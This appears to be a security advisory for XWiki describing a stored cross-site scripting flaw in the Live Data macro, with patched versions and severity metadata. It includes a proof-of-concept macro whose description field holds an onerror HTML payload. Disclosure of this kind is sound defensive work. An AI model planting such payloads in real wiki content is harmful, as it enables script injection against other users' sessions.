A user without script rights can introduce a stored XSS by using the Live Data macro, if the last author of the content of the page has script rights.
For instance, by adding the LiveData below in the about section of the profile of a user created by an admin.
{{liveData id="movies" properties="title,description"}}
{
"data": {
"count": 1,
"entries": [
{
"title": "Meet John Doe",
"url": "https://www.imdb.com/title/tt0033891/",
"description": "<img onerror='alert(1)' src='foo' />"
}
]
},
"meta": {
"propertyDescriptors": [
{
"id": "title",
"name": "Title",
"visible": true,
"displayer": {"id": "link", "propertyHref": "url"}
},
{
"id": "description",
"name": "Description",
"visible": true,
"displayer": "html"
}
]
}
}
{{/liveData}}
This has been patched in XWiki 14.10, 14.4.7, and 13.10.11.
No known workaround.
If you have any questions or comments about this advisory:
{ "nvd_published_at": "2023-04-16T08:15:00Z", "github_reviewed_at": "2023-04-12T20:36:36Z", "severity": "HIGH", "github_reviewed": true, "cwe_ids": [ "CWE-79", "CWE-80" ] }